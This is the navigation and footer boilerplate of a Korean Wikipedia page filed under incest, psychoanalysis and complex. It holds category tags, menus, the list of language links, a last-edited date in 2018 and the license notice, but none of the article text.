분류: 근친상간정신분석학콤플렉스숨은 분류: 독일어 표기를 포함한 문서영어 표기를 포함한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةঅসমীয়াAsturianuAzərbaycancaBoarischБългарскиবাংলাBosanskiCatalàČeštinaDanskDeutschZazakiΕλληνικάEnglishEsperantoEspañolEestiEuskaraفارسیSuomiFrançaisGaeilgeGalegoગુજરાતીעבריתहिन्दीHrvatskiMagyarՀայերենBahasa IndonesiaÍslenskaItaliano日本語La .lojban.ქართულიKabɩyɛKurdîLatinaLietuviųമലയാളംBahasa MelayuمازِرونیNederlandsNorskOccitanਪੰਜਾਬੀPolskiPortuguêsRomânăРусскийScotsسنڌيSrpskohrvatski / српскохрватскиSlovenčinaSlovenščinaСрпски / srpskiSvenskaதமிழ்ไทยTagalogTürkçeУкраїнськаTiếng Việt中文 링크 편집 이 문서는 2018년 9월 15일 (토) 14:51에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기